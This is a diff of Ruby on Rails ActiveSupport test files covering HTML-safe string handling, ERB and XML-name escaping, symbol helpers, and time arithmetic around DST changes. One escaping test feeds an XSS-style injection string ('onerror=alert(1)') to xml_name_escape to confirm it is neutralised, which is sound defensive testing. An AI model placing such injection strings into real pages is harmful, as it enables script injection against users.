-      if ActiveSupport.to_time_preserves_timezone
-        assert_equal 0, "2005-02-27 23:50".to_time(:utc).utc_offset
-        assert_equal(-18000, "2005-02-27 23:50".to_time.utc_offset)
-        assert_equal 0, "2005-02-27 22:50 -0100".to_time(:utc).utc_offset
-        assert_equal(-3600, "2005-02-27 22:50 -0100".to_time.utc_offset)
-      else
-        assert_equal 0, "2005-02-27 23:50".to_time(:utc).utc_offset
-        assert_equal(-18000, "2005-02-27 23:50".to_time.utc_offset)
-        assert_equal 0, "2005-02-27 22:50 -0100".to_time(:utc).utc_offset
-        assert_equal(-18000, "2005-02-27 22:50 -0100".to_time.utc_offset)
-      end
+      assert_equal 0, "2005-02-27 23:50".to_time(:utc).utc_offset
+      assert_equal(-18000, "2005-02-27 23:50".to_time.utc_offset)
+      assert_equal 0, "2005-02-27 22:50 -0100".to_time(:utc).utc_offset
+      assert_equal(-3600, "2005-02-27 22:50 -0100".to_time.utc_offset)
     end
   end
 
@@ -615,9 +771,9 @@ def test_string_to_date
   end
 end
 
-class StringBehaviourTest < ActiveSupport::TestCase
+class StringBehaviorTest < ActiveSupport::TestCase
   def test_acts_like_string
-    assert "Bambi".acts_like_string?
+    assert_predicate "Bambi", :acts_like_string?
   end
 end
 
@@ -632,34 +788,41 @@ def test_core_ext_adds_mb_chars
   end
 
   def test_string_should_recognize_utf8_strings
-    assert UTF8_STRING.is_utf8?
-    assert ASCII_STRING.is_utf8?
-    assert !EUC_JP_STRING.is_utf8?
-    assert !INVALID_UTF8_STRING.is_utf8?
+    assert_predicate UTF8_STRING, :is_utf8?
+    assert_predicate ASCII_STRING, :is_utf8?
+    assert_not_predicate EUC_JP_STRING, :is_utf8?
+    assert_not_predicate INVALID_UTF8_STRING, :is_utf8?
   end
 
   def test_mb_chars_returns_instance_of_proxy_class
-    assert_kind_of ActiveSupport::Multibyte.proxy_class, UTF8_STRING.mb_chars
+    assert_deprecated ActiveSupport.deprecator do
+      assert_kind_of ActiveSupport::Multibyte.proxy_class, UTF8_STRING.mb_chars
+    end
   end
 end
 
 class OutputSafetyTest < ActiveSupport::TestCase
   def setup
-    @string = "hello"
+    @string = +"hello"
     @object = Class.new(Object) do
-      def to_s
+      def to_str
         "other"
       end
     end.new
+    @to_s_object = Class.new(Object) do
+      def to_s
+        "to_s"
+      end
+    end.new
   end
 
   test "A string is unsafe by default" do
-    assert !@string.html_safe?
+    assert_not_predicate @string, :html_safe?
   end
 
   test "A string can be marked safe" do
     string = @string.html_safe
-    assert string.html_safe?
+    assert_predicate string, :html_safe?
   end
 
   test "Marking a string safe returns the string" do
@@ -667,15 +830,22 @@ def to_s
   end
 
   test "An integer is safe by default" do
-    assert 5.html_safe?
+    assert_predicate 5, :html_safe?
   end
 
   test "a float is safe by default" do
-    assert 5.7.html_safe?
+    assert_predicate 5.7, :html_safe?
   end
 
   test "An object is unsafe by default" do
-    assert !@object.html_safe?
+    assert_not_predicate @object, :html_safe?
+  end
+
+  test "Adding an object not responding to `#to_str` to a safe string is deprecated" do
+    string = @string.html_safe
+    assert_raises(NoMethodError) do
+      string << @to_s_object
+    end
   end
 
   test "Adding an object to a safe string returns a safe string" do
@@ -683,7 +853,7 @@ def to_s
     string << @object
 
     assert_equal "helloother", string
-    assert string.html_safe?
+    assert_predicate string, :html_safe?
   end
 
   test "Adding a safe string to another safe string returns a safe string" do
@@ -692,7 +862,7 @@ def to_s
     @combination = @other_string + string
 
     assert_equal "otherhello", @combination
-    assert @combination.html_safe?
+    assert_predicate @combination, :html_safe?
   end
 
   test "Adding an unsafe string to a safe string escapes it and returns a safe string" do
@@ -703,36 +873,36 @@ def to_s
     assert_equal "other&lt;foo&gt;", @combination
     assert_equal "hello<foo>", @other_combination
 
-    assert @combination.html_safe?
-    assert !@other_combination.html_safe?
+    assert_predicate @combination, :html_safe?
+    assert_not_predicate @other_combination, :html_safe?
   end
 
   test "Prepending safe onto unsafe yields unsafe" do
     @string.prepend "other".html_safe
-    assert !@string.html_safe?
+    assert_not_predicate @string, :html_safe?
     assert_equal "otherhello", @string
   end
 
   test "Prepending unsafe onto safe yields escaped safe" do
     other = "other".html_safe
     other.prepend "<foo>"
-    assert other.html_safe?
+    assert_predicate other, :html_safe?
     assert_equal "&lt;foo&gt;other", other
   end
 
   test "Concatting safe onto unsafe yields unsafe" do
-    @other_string = "other"
+    @other_string = +"other"
 
     string = @string.html_safe
     @other_string.concat(string)
-    assert !@other_string.html_safe?
+    assert_not_predicate @other_string, :html_safe?
   end
 
   test "Concatting unsafe onto safe yields escaped safe" do
     @other_string = "other".html_safe
     string = @other_string.concat("<foo>")
     assert_equal "other&lt;foo&gt;", string
-    assert string.html_safe?
+    assert_predicate string, :html_safe?
   end
 
   test "Concatting safe onto safe yields safe" do
@@ -740,22 +910,22 @@ def to_s
     string = @string.html_safe
 
     @other_string.concat(string)
-    assert @other_string.html_safe?
+    assert_predicate @other_string, :html_safe?
   end
 
   test "Concatting safe onto unsafe with << yields unsafe" do
-    @other_string = "other"
+    @other_string = +"other"
     string = @string.html_safe
 
     @other_string << string
-    assert !@other_string.html_safe?
+    assert_not_predicate @other_string, :html_safe?
   end
 
   test "Concatting unsafe onto safe with << yields escaped safe" do
     @other_string = "other".html_safe
     string = @other_string << "<foo>"
     assert_equal "other&lt;foo&gt;", string
-    assert string.html_safe?
+    assert_predicate string, :html_safe?
   end
 
   test "Concatting safe onto safe with << yields safe" do
@@ -763,7 +933,7 @@ def to_s
     string = @string.html_safe
 
     @other_string << string
-    assert @other_string.html_safe?
+    assert_predicate @other_string, :html_safe?
   end
 
   test "Concatting safe onto unsafe with % yields unsafe" do
@@ -771,7 +941,12 @@ def to_s
     string = @string.html_safe
 
     @other_string = @other_string % string
-    assert !@other_string.html_safe?
+    assert_not_predicate @other_string, :html_safe?
+  end
+
+  test "% method explicitly cast the argument to string" do
+    @other_string = "other%s"
+    assert_equal "otherto_s", @other_string % @to_s_object
   end
 
   test "Concatting unsafe onto safe with % yields escaped safe" do
@@ -779,7 +954,7 @@ def to_s
     string = @other_string % "<foo>"
 
     assert_equal "other&lt;foo&gt;", string
-    assert string.html_safe?
+    assert_predicate string, :html_safe?
   end
 
   test "Concatting safe onto safe with % yields safe" do
@@ -787,7 +962,7 @@ def to_s
     string = @string.html_safe
 
     @other_string = @other_string % string
-    assert @other_string.html_safe?
+    assert_predicate @other_string, :html_safe?
   end
 
   test "Concatting with % doesn't modify a string" do
@@ -800,18 +975,118 @@ def to_s
   test "Concatting an integer to safe always yields safe" do
     string = @string.html_safe
     string = string.concat(13)
-    assert_equal "hello".concat(13), string
-    assert string.html_safe?
+    assert_equal (+"hello").concat(13), string
+    assert_predicate string, :html_safe?
+  end
+
+  test "Inserting safe into safe yields safe" do
+    string = "foo".html_safe
+    string.insert(0, "<b>".html_safe)
+
+    assert_equal "<b>foo", string
+    assert_predicate string, :html_safe?
   end
 
-  test "emits normal string yaml" do
+  test "Inserting unsafe into safe yields escaped safe" do
+    string = "foo".html_safe
+    string.insert(0, "<b>")
+
+    assert_equal "&lt;b&gt;foo", string
+    assert_predicate string, :html_safe?
+  end
+
+  test "Replacing safe with safe yields safe" do
+    string = "foo".html_safe
+    string.replace("<b>".html_safe)
+
+    assert_equal "<b>", string
+    assert_predicate string, :html_safe?
+  end
+
+  test "Replacing safe with unsafe yields escaped safe" do
+    string = "foo".html_safe
+    string.replace("<b>")
+
+    assert_equal "&lt;b&gt;", string
+    assert_predicate string, :html_safe?
+  end
+
+  test "Replacing index of safe with safe yields safe" do
+    string = "foo".html_safe
+    string[0] = "<b>".html_safe
+
+    assert_equal "<b>oo", string
+    assert_predicate string, :html_safe?
+
+    string = "foo".html_safe
+    string[0, 2] = "<b>".html_safe
+
+    assert_equal "<b>o", string
+    assert_predicate string, :html_safe?
+  end
+
+  test "Replacing index of safe with unsafe yields escaped safe" do
+    string = "foo".html_safe
+    string[0] = "<b>"
+
+    assert_equal "&lt;b&gt;oo", string
+    assert_predicate string, :html_safe?
+
+    string = "foo".html_safe
+    string[1, 1] = "<b>"
+
+    assert_equal "f&lt;b&gt;o", string
+    assert_predicate string, :html_safe?
+  end
+
+  if "".respond_to?(:bytesplice)
+    test "Bytesplicing safe into safe yields safe" do
+      string = "hello".html_safe
+      string.bytesplice(0, 0, "<b>".html_safe)
+
+      assert_equal "<b>hello", string
+      assert_predicate string, :html_safe?
+
+      string = "hello".html_safe
+      string.bytesplice(0..1, "<b>".html_safe)
+
+      assert_equal "<b>llo", string
+      assert_predicate string, :html_safe?
+    end
+
+    test "Bytesplicing unsafe into safe yields escaped safe" do
+      string = "hello".html_safe
+      string.bytesplice(1, 0, "<b>")
+
+      assert_equal "h&lt;b&gt;ello", string
+      assert_predicate string, :html_safe?
+
+      string = "hello".html_safe
+      string.bytesplice(1..2, "<b>")
+
+      assert_equal "h&lt;b&gt;lo", string
+      assert_predicate string, :html_safe?
+    end
+  end
+
+  test "emits normal string YAML" do
     assert_equal "foo".to_yaml, "foo".html_safe.to_yaml(foo: 1)
   end
 
   test "call to_param returns a normal string" do
     string = @string.html_safe
-    assert string.html_safe?
-    assert !string.to_param.html_safe?
+    assert_predicate string, :html_safe?
+    assert_not_predicate string.to_param, :html_safe?
+  end
+
+  test "as_json returns a normal string" do
+    string = @string.html_safe
+    assert_not_predicate string.as_json, :html_safe?
+  end
+
+  test "as_json accepts options" do
+    hash = { string: @string.html_safe }
+    assert_not_predicate hash.as_json(only: :string).fetch("string"), :html_safe?
   end
 
   test "ERB::Util.html_escape should escape unsafe characters" do
@@ -820,12 +1095,6 @@ def to_s
     assert_equal expected, ERB::Util.html_escape(string)
   end
 
-  test "ERB::Util.html_escape should correctly handle invalid UTF-8 strings" do
-    string = "\251 <"
-    expected = "© &lt;"
-    assert_equal expected, ERB::Util.html_escape(string)
-  end
-
   test "ERB::Util.html_escape should not escape safe strings" do
     string = "<b>hello</b>".html_safe
     assert_equal string, ERB::Util.html_escape(string)
@@ -839,10 +1108,33 @@ def to_s
     assert_equal escaped_string, ERB::Util.html_escape_once(escaped_string)
   end
 
-  test "ERB::Util.html_escape_once should correctly handle invalid UTF-8 strings" do
-    string = "\251 <"
-    expected = "© &lt;"
-    assert_equal expected, ERB::Util.html_escape_once(string)
+  test "ERB::Util.xml_name_escape should escape unsafe characters for XML names" do
+    unsafe_char = ">"
+    safe_char = "�"
+    safe_char_after_start = "3"
+    starting_with_dash = "-foo"
+
+    assert_equal "_", ERB::Util.xml_name_escape(unsafe_char)
+    assert_equal "_#{safe_char}", ERB::Util.xml_name_escape(unsafe_char + safe_char)
+    assert_equal "__", ERB::Util.xml_name_escape(unsafe_char * 2)
+
+    assert_equal "__#{safe_char}_",
+                 ERB::Util.xml_name_escape("#{unsafe_char * 2}#{safe_char}#{unsafe_char}")
+
+    assert_equal safe_char + safe_char_after_start,
+                 ERB::Util.xml_name_escape(safe_char + safe_char_after_start)
+
+    assert_equal "_#{safe_char}",
+                 ERB::Util.xml_name_escape(safe_char_after_start + safe_char)
+
+    assert_equal "img_src_nonexistent_onerror_alert_1_",
+                 ERB::Util.xml_name_escape("img src=nonexistent onerror=alert(1)")
+
+    common_dangerous_chars = "&<>\"' %*+,/;=^|"
+    assert_equal "_" * common_dangerous_chars.size,
+                 ERB::Util.xml_name_escape(common_dangerous_chars)
+
+    assert_equal "_foo", ERB::Util.xml_name_escape(starting_with_dash)
   end
 end
 
@@ -855,7 +1147,8 @@ class StringExcludeTest < ActiveSupport::TestCase
 
 class StringIndentTest < ActiveSupport::TestCase
   test "does not indent strings that only contain newlines (edge cases)" do
-    ["", "\n", "\n" * 7].each do |str|
+    ["", "\n", "\n" * 7].each do |string|
+      str = string.dup
       assert_nil str.indent!(8)
       assert_equal str, str.indent(8)
       assert_equal str, str.indent(1, "\t")
diff --git a/activesupport/test/core_ext/symbol_ext_test.rb b/activesupport/test/core_ext/symbol_ext_test.rb
new file mode 100644
index 0000000000000..fdd3b09ab524b
--- /dev/null
+++ b/activesupport/test/core_ext/symbol_ext_test.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
+require "active_support/core_ext/symbol"
+
+class SymbolStartsEndsWithTest < ActiveSupport::TestCase
+  def test_starts_ends_with_alias
+    s = :hello
+    assert s.starts_with?("h")
+    assert s.starts_with?("hel")
+    assert_not s.starts_with?("el")
+    assert s.starts_with?("he", "lo")
+    assert_not s.starts_with?("el", "lo")
+
+    assert s.ends_with?("o")
+    assert s.ends_with?("lo")
+    assert_not s.ends_with?("el")
+    assert s.ends_with?("he", "lo")
+    assert_not s.ends_with?("he", "ll")
+  end
+end
diff --git a/activesupport/test/core_ext/time_ext_test.rb b/activesupport/test/core_ext/time_ext_test.rb
index a399e36dc9e28..7d4cb4c95633b 100644
--- a/activesupport/test/core_ext/time_ext_test.rb
+++ b/activesupport/test/core_ext/time_ext_test.rb
@@ -1,7 +1,9 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
 require "active_support/time"
-require "core_ext/date_and_time_behavior"
-require "time_zone_test_helpers"
+require_relative "../core_ext/date_and_time_behavior"
+require_relative "../time_zone_test_helpers"
 
 class TimeExtCalculationsTest < ActiveSupport::TestCase
   def date_time_init(year, month, day, hour, minute, second, usec = 0)
@@ -108,17 +110,42 @@ def test_seconds_until_end_of_day_at_daylight_savings_time_end
   end
 
   def test_sec_fraction
-    time = Time.utc(2016, 4, 23, 0, 0, Rational(1, 10000000000))
-    assert_equal Rational(1, 10000000000), time.sec_fraction
+    time = Time.utc(2016, 4, 23, 0, 0, Rational(1, 1_000_000_000))
+    assert_equal Rational(1, 1_000_000_000), time.sec_fraction
+
+    time = Time.utc(2016, 4, 23, 0, 0, 0.000_000_001)
+    assert_kind_of Rational, time.sec_fraction
+    assert_equal 0.000_000_001, time.sec_fraction.to_f
+
+    time = Time.utc(2016, 4, 23, 0, 0, 0, Rational(1, 1_000))
+    assert_equal Rational(1, 1_000_000_000), time.sec_fraction
+
+    time = Time.utc(2016, 4, 23, 0, 0, 0, 0.001)
+    assert_kind_of Rational, time.sec_fraction
+    assert_equal 0.001.to_r / 1000000, time.sec_fraction.to_f
+  end
+
+  def test_floor
+    time = Time.utc(2016, 4, 23, 0, 0, "0.123456789".to_r)
+
+    assert_equal "0".to_r, time.floor.subsec
+    assert_equal "0.1".to_r, time.floor(1).subsec
+    assert_equal "0.12".to_r, time.floor(2).subsec
+    assert_equal "0.123456789".to_r, time.floor(9).subsec
+    assert_equal "0.123456789".to_r, time.floor(10).subsec
+  end
 
-    time = Time.utc(2016, 4, 23, 0, 0, 0.0000000001)
-    assert_equal 0.0000000001.to_r, time.sec_fraction
+  def test_ceil
+    time = Time.utc(2016, 4, 30, 23, 59, "59.123456789".to_r)
 
-    time = Time.utc(2016, 4, 23, 0, 0, 0, Rational(1, 10000))
-    assert_equal Rational(1, 10000000000), time.sec_fraction
+    assert_equal "0".to_r, time.ceil.subsec
+    assert_equal Time.utc(2016, 5, 1, 0, 0), time.ceil
 
-    time = Time.utc(2016, 4, 23, 0, 0, 0, 0.0001)
-    assert_equal 0.0001.to_r / 1000000, time.sec_fraction
+    assert_equal "0.124".to_r, time.ceil(3).subsec
+    assert_equal "0.12346".to_r, time.ceil(5).subsec
+    assert_equal "0.12345679".to_r, time.ceil(8).subsec
+    assert_equal "0.123456789".to_r, time.ceil(9).subsec
+    assert_equal "0.123456789".to_r.to_f, time.ceil(11).subsec.to_f
   end
 
   def test_beginning_of_day
@@ -176,10 +203,6 @@ def test_end_of_minute
     assert_equal Time.local(2005, 2, 4, 19, 30, 59, Rational(999999999, 1000)), Time.local(2005, 2, 4, 19, 30, 10).end_of_minute
   end
 
-  def test_last_year
-    assert_equal Time.local(2004, 6, 5, 10),  Time.local(2005, 6, 5, 10, 0, 0).last_year
-  end
-
   def test_ago
     assert_equal Time.local(2005, 2, 22, 10, 10, 9),  Time.local(2005, 2, 22, 10, 10, 10).ago(1)
     assert_equal Time.local(2005, 2, 22, 9, 10, 10),  Time.local(2005, 2, 22, 10, 10, 10).ago(3600)
@@ -433,6 +456,135 @@ def test_offset_change
     assert_raise(ArgumentError) { Time.new(2005, 2, 22, 15, 15, 45, "-08:00").change(nsec: 1000000000) }
   end
 
+  def test_change_offset
+    assert_equal Time.new(2006, 2, 22, 15, 15, 10, "-08:00"), Time.new(2006, 2, 22, 15, 15, 10, "+01:00").change(offset: "-08:00")
+    assert_equal Time.new(2006, 2, 22, 15, 15, 10, -28800), Time.new(2006, 2, 22, 15, 15, 10, 3600).change(offset: -28800)
+    assert_raise(ArgumentError) { Time.new(2005, 2, 22, 15, 15, 45, "+01:00").change(usec: 1000000, offset: "-08:00") }
+    assert_raise(ArgumentError) { Time.new(2005, 2, 22, 15, 15, 45, "+01:00").change(nsec: 1000000000, offset: -28800) }
+  end
+
+  def test_change_preserves_offset_for_local_times_around_end_of_dst
+    with_env_tz "US/Eastern" do
+      # DST ended just before 2005-10-30 2:00:00 AM in US/Eastern, and clocks
+      # were rolled back 1 hour.
+      midnight = Time.local(2005, 10, 30, 00, 00, 00)     # 2005-10-30 00:00:00 -0400
+      one_am_1 = Time.local(2005, 10, 30, 00, 59, 59) + 1 # 2005-10-30 01:00:00 -0400
+      one_am_2 = Time.local(2005, 10, 30, 01, 00, 00)     # 2005-10-30 01:00:00 -0500
+      two_am   = Time.local(2005, 10, 30, 02, 00, 00)     # 2005-10-30 02:00:00 -0500
+      assert_operator one_am_1, :<, one_am_2
+
+      assert_equal one_am_1, midnight.change(hour: 1)
+      assert_equal two_am, midnight.change(hour: 2)
+
+      assert_equal midnight, one_am_1.change(hour: 0)
+      assert_equal one_am_1, one_am_1.change(hour: 1)
+      assert_equal one_am_1 + 1, one_am_1.change(sec: 1)
+      assert_equal two_am, one_am_1.change(hour: 2)
+
+      assert_equal midnight, one_am_2.change(hour: 0)
+      assert_equal one_am_2, one_am_2.change(hour: 1)
+      assert_equal one_am_2 + 1, one_am_2.change(sec: 1)
+      assert_equal two_am, one_am_2.change(hour: 2)
+
+      assert_equal one_am_2, two_am.change(hour: 1)
+      assert_equal midnight, two_am.change(hour: 0)
+    end
+  end
+
+  def test_change_preserves_offset_for_zoned_times_around_end_of_dst
+    with_tz_default "US/Eastern" do
+      # DST ended just before 2005-10-30 2:00:00 AM in US/Eastern, and clocks
+      # were rolled back 1 hour.
+      midnight = Time.new(2005, 10, 30, 00, 00, 00, Time.zone)        # 2005-10-30 00:00:00 -0400
+      one_am_1 = Time.new(2005, 10, 30, 01, 00, 00, Time.zone)        # 2005-10-30 01:00:00 -0400
+      one_am_2 = Time.new(2005, 10, 30, 02, 00, 00, Time.zone) - 3600 # 2005-10-30 01:00:00 -0500
+      two_am   = Time.new(2005, 10, 30, 02, 00, 00, Time.zone)        # 2005-10-30 02:00:00 -0500
+      assert_operator one_am_1, :<, one_am_2
+
+      assert_equal one_am_1, midnight.change(hour: 1)
+      assert_equal two_am, midnight.change(hour: 2)
+
+      assert_equal midnight, one_am_1.change(hour: 0)
+      assert_equal one_am_1, one_am_1.change(hour: 1)
+      assert_equal one_am_1 + 1, one_am_1.change(sec: 1)
+      assert_equal two_am, one_am_1.change(hour: 2)
+
+      assert_equal midnight, one_am_2.change(hour: 0)
+      assert_equal one_am_2, one_am_2.change(hour: 1)
+      assert_equal one_am_2 + 1, one_am_2.change(sec: 1)
+      assert_equal two_am, one_am_2.change(hour: 2)
+
+      assert_equal one_am_2, two_am.change(hour: 1)
+      assert_equal midnight, two_am.change(hour: 0)
+    end
+  end
+
+  def test_change_preserves_fractional_seconds_on_zoned_time
+    with_tz_default "US/Eastern" do
+      time = Time.new(2005, 10, 30, 00, 00, 0.99r, Time.zone) + 0
+      time2 = time.change(month: 1)
+
+      assert_equal "2005-10-30 00:00:00.99 -0400", time.inspect
+      assert_equal "2005-01-30 00:00:00.99 -0500", time2.inspect
+    end
+  end
+
+  def test_change_preserves_fractional_hour_offset_for_local_times_around_end_of_dst
+    with_env_tz "Australia/Lord_Howe" do
+      # DST ended just before 2005-03-27 2:00:00 AM in Australia/Lord_Howe, and
+      # clocks were rolled back 30 minutes.
+      one_am     = Time.local(2005, 03, 27, 01, 00, 00)     # 2005-03-27 00:00:00 +1100
+      one30_am_1 = Time.local(2005, 03, 27, 01, 29, 59) + 1 # 2005-03-27 01:30:00 +1100
+      one30_am_2 = Time.local(2005, 03, 27, 01, 30, 00)     # 2005-03-27 01:30:00 +1030
+      two_am     = Time.local(2005, 03, 27, 02, 00, 00)     # 2005-03-27 02:00:00 +1030
+      assert_operator one30_am_1, :<, one30_am_2
+
+      assert_equal one30_am_1, one_am.change(min: 30)
+      assert_equal two_am, one_am.change(hour: 2)
+
+      assert_equal one_am, one30_am_1.change(min: 0)
+      assert_equal one30_am_1, one30_am_1.change(min: 30)
+      assert_equal one30_am_1 + 1, one30_am_1.change(min: 30, sec: 1)
+      assert_equal two_am, one30_am_1.change(hour: 2)
+
+      assert_equal one_am, one30_am_2.change(min: 0)
+      assert_equal one30_am_2, one30_am_2.change(min: 30)
+      assert_equal one30_am_2 + 1, one30_am_2.change(min: 30, sec: 1)
+      assert_equal two_am, one30_am_2.change(hour: 2)
+
+      assert_equal one30_am_2, two_am.change(hour: 1, min: 30)
+      assert_equal one_am, two_am.change(hour: 1)
+    end
+  end
+
+  def test_change_preserves_fractional_hour_offset_for_zoned_times_around_end_of_dst
+    with_tz_default "Australia/Lord_Howe" do
+      # DST ended just before 2005-03-27 2:00:00 AM in Australia/Lord_Howe, and
+      # clocks were rolled back 30 minutes.
+      one_am     = Time.new(2005, 03, 27, 01, 00, 00, Time.zone)        # 2005-03-27 00:00:00 +1100
+      one30_am_1 = Time.new(2005, 03, 27, 01, 30, 00, Time.zone)        # 2005-03-27 01:30:00 +1100
+      one30_am_2 = Time.new(2005, 03, 27, 02, 00, 00, Time.zone) - 1800 # 2005-03-27 01:30:00 +1030
+      two_am     = Time.new(2005, 03, 27, 02, 00, 00, Time.zone)        # 2005-03-27 02:00:00 +1030
+      assert_operator one30_am_1, :<, one30_am_2
+
+      assert_equal one30_am_1, one_am.change(min: 30)
+      assert_equal two_am, one_am.change(hour: 2)
+
+      assert_equal one_am, one30_am_1.change(min: 0)
+      assert_equal one30_am_1, one30_am_1.change(min: 30)
+      assert_equal one30_am_1 + 1, one30_am_1.change(min: 30, sec: 1)
+      assert_equal two_am, one30_am_1.change(hour: 2)
+
+      assert_equal one_am, one30_am_2.change(min: 0)
+      assert_equal one30_am_2, one30_am_2.change(min: 30)
+      assert_equal one30_am_2 + 1, one30_am_2.change(min: 30, sec: 1)
+      assert_equal two_am, one30_am_2.change(hour: 2)
+
+      assert_equal one30_am_2, two_am.change(hour: 1, min: 30)
+      assert_equal one_am, two_am.change(hour: 1)
+    end
+  end
+
   def test_advance
     assert_equal Time.local(2006, 2, 28, 15, 15, 10), Time.local(2005, 2, 28, 15, 15, 10).advance(years: 1)
     assert_equal Time.local(2005, 6, 28, 15, 15, 10), Time.local(2005, 2, 28, 15, 15, 10).advance(months: 4)
@@ -446,13 +598,21 @@ def test_advance
     assert_equal Time.local(2013, 10, 3, 15, 15, 10), Time.local(2005, 2, 28, 15, 15, 10).advance(years: 7, months: 19, days: 5)
     assert_equal Time.local(2013, 10, 17, 15, 15, 10), Time.local(2005, 2, 28, 15, 15, 10).advance(years: 7, months: 19, weeks: 2, days: 5)
     assert_equal Time.local(2001, 12, 27, 15, 15, 10), Time.local(2005, 2, 28, 15, 15, 10).advance(years: -3, months: -2, days: -1)
-    assert_equal Time.local(2005, 2, 28, 15, 15, 10), Time.local(2004, 2, 29, 15, 15, 10).advance(years: 1) #leap day plus one year
+    assert_equal Time.local(2005, 2, 28, 15, 15, 10), Time.local(2004, 2, 29, 15, 15, 10).advance(years: 1) # leap day plus one year
     assert_equal Time.local(2005, 2, 28, 20, 15, 10), Time.local(2005, 2, 28, 15, 15, 10).advance(hours: 5)
     assert_equal Time.local(2005, 2, 28, 15, 22, 10), Time.local(2005, 2, 28, 15, 15, 10).advance(minutes: 7)
     assert_equal Time.local(2005, 2, 28, 15, 15, 19), Time.local(2005, 2, 28, 15, 15, 10).advance(seconds: 9)
     assert_equal Time.local(2005, 2, 28, 20, 22, 19), Time.local(2005, 2, 28, 15, 15, 10).advance(hours: 5, minutes: 7, seconds: 9)
     assert_equal Time.local(2005, 2, 28, 10, 8, 1), Time.local(2005, 2, 28, 15, 15, 10).advance(hours: -5, minutes: -7, seconds: -9)
     assert_equal Time.local(2013, 10, 17, 20, 22, 19), Time.local(2005, 2, 28, 15, 15, 10).advance(years: 7, months: 19, weeks: 2, days: 5, hours: 5, minutes: 7, seconds: 9)
+
+    assert_equal Time.new(2021, 5, 29, 0, 0, 0, "+03:00"), Time.new(2021, 5, 29, 0, 0, 0, ActiveSupport::TimeZone["Moscow"])
+    assert_equal Time.new(2021, 5, 29, 0, 0, 0, "+03:00").advance(seconds: 60), Time.new(2021, 5, 29, 0, 0, 0, ActiveSupport::TimeZone["Moscow"]).advance(seconds: 60)
+    assert_equal Time.new(2021, 5, 29, 0, 0, 0, "+03:00").advance(days: 3), Time.new(2021, 5, 29, 0, 0, 0, ActiveSupport::TimeZone["Moscow"]).advance(days: 3)
+
+    assert_equal Time.new(2021, 5, 29, 0, 0, 0, "+03:00"), ActiveSupport::TimeZone["Moscow"].local(2021, 5, 29, 0, 0, 0)
+    assert_equal Time.new(2021, 5, 29, 0, 0, 0, "+03:00").advance(seconds: 60), ActiveSupport::TimeZone["Moscow"].local(2021, 5, 29, 0, 0, 0).advance(seconds: 60)
+    assert_equal Time.new(2021, 5, 29, 0, 0, 0, "+03:00").advance(days: 3), ActiveSupport::TimeZone["Moscow"].local(2021, 5, 29, 0, 0, 0).advance(days: 3)
   end
 
   def test_utc_advance
@@ -468,7 +628,7 @@ def test_utc_advance
     assert_equal Time.utc(2013, 10, 3, 15, 15, 10), Time.utc(2005, 2, 22, 15, 15, 10).advance(years: 7, months: 19, days: 11)
     assert_equal Time.utc(2013, 10, 17, 15, 15, 10), Time.utc(2005, 2, 28, 15, 15, 10).advance(years: 7, months: 19, weeks: 2, days: 5)
     assert_equal Time.utc(2001, 12, 27, 15, 15, 10), Time.utc(2005, 2, 28, 15, 15, 10).advance(years: -3, months: -2, days: -1)
-    assert_equal Time.utc(2005, 2, 28, 15, 15, 10), Time.utc(2004, 2, 29, 15, 15, 10).advance(years: 1) #leap day plus one year
+    assert_equal Time.utc(2005, 2, 28, 15, 15, 10), Time.utc(2004, 2, 29, 15, 15, 10).advance(years: 1) # leap day plus one year
     assert_equal Time.utc(2005, 2, 28, 20, 15, 10), Time.utc(2005, 2, 28, 15, 15, 10).advance(hours: 5)
     assert_equal Time.utc(2005, 2, 28, 15, 22, 10), Time.utc(2005, 2, 28, 15, 15, 10).advance(minutes: 7)
     assert_equal Time.utc(2005, 2, 28, 15, 15, 19), Time.utc(2005, 2, 28, 15, 15, 10).advance(seconds: 9)
@@ -490,7 +650,7 @@ def test_offset_advance
     assert_equal Time.new(2013, 10, 3, 15, 15, 10, "-08:00"), Time.new(2005, 2, 22, 15, 15, 10, "-08:00").advance(years: 7, months: 19, days: 11)
     assert_equal Time.new(2013, 10, 17, 15, 15, 10, "-08:00"), Time.new(2005, 2, 28, 15, 15, 10, "-08:00").advance(years: 7, months: 19, weeks: 2, days: 5)
     assert_equal Time.new(2001, 12, 27, 15, 15, 10, "-08:00"), Time.new(2005, 2, 28, 15, 15, 10, "-08:00").advance(years: -3, months: -2, days: -1)
-    assert_equal Time.new(2005, 2, 28, 15, 15, 10, "-08:00"), Time.new(2004, 2, 29, 15, 15, 10, "-08:00").advance(years: 1) #leap day plus one year
+    assert_equal Time.new(2005, 2, 28, 15, 15, 10, "-08:00"), Time.new(2004, 2, 29, 15, 15, 10, "-08:00").advance(years: 1) # leap day plus one year
     assert_equal Time.new(2005, 2, 28, 20, 15, 10, "-08:00"), Time.new(2005, 2, 28, 15, 15, 10, "-08:00").advance(hours: 5)
     assert_equal Time.new(2005, 2, 28, 15, 22, 10, "-08:00"), Time.new(2005, 2, 28, 15, 15, 10, "-08:00").advance(minutes: 7)
     assert_equal Time.new(2005, 2, 28, 15, 15, 19, "-08:00"), Time.new(2005, 2, 28, 15, 15, 10, "-08:00").advance(seconds: 9)
@@ -509,6 +669,136 @@ def test_advance_gregorian_proleptic
     assert_equal Time.local(1582, 10, 15, 15, 15, 10), Time.local(1582, 10, 14, 15, 15, 10).advance(days: 1)
     assert_equal Time.local(1582, 10, 5, 15, 15, 10), Time.local(1582, 10, 4, 15, 15, 10).advance(days: 1)
     assert_equal Time.local(1582, 10, 4, 15, 15, 10), Time.local(1582, 10, 5, 15, 15, 10).advance(days: -1)
+    assert_equal Time.local(999, 10, 4, 15, 15, 10), Time.local(1000, 10, 4, 15, 15, 10).advance(years: -1)
+    assert_equal Time.local(1000, 10, 4, 15, 15, 10), Time.local(999, 10, 4, 15, 15, 10).advance(years: 1)
+  end
+
+  def test_advance_preserves_offset_for_local_times_around_end_of_dst
+    with_env_tz "US/Eastern" do
+      # DST ended just before 2005-10-30 2:00:00 AM in US/Eastern, and clocks
+      # were rolled back 1 hour.
+      midnight = Time.local(2005, 10, 30, 00, 00, 00)     # 2005-10-30 00:00:00 -0400
+      one_am_1 = Time.local(2005, 10, 30, 00, 59, 59) + 1 # 2005-10-30 01:00:00 -0400
+      one_am_2 = Time.local(2005, 10, 30, 01, 00, 00)     # 2005-10-30 01:00:00 -0500
+      two_am   = Time.local(2005, 10, 30, 02, 00, 00)     # 2005-10-30 02:00:00 -0500
+      assert_operator one_am_1, :<, one_am_2
+
+      assert_equal one_am_1, midnight.advance(hours: 1)
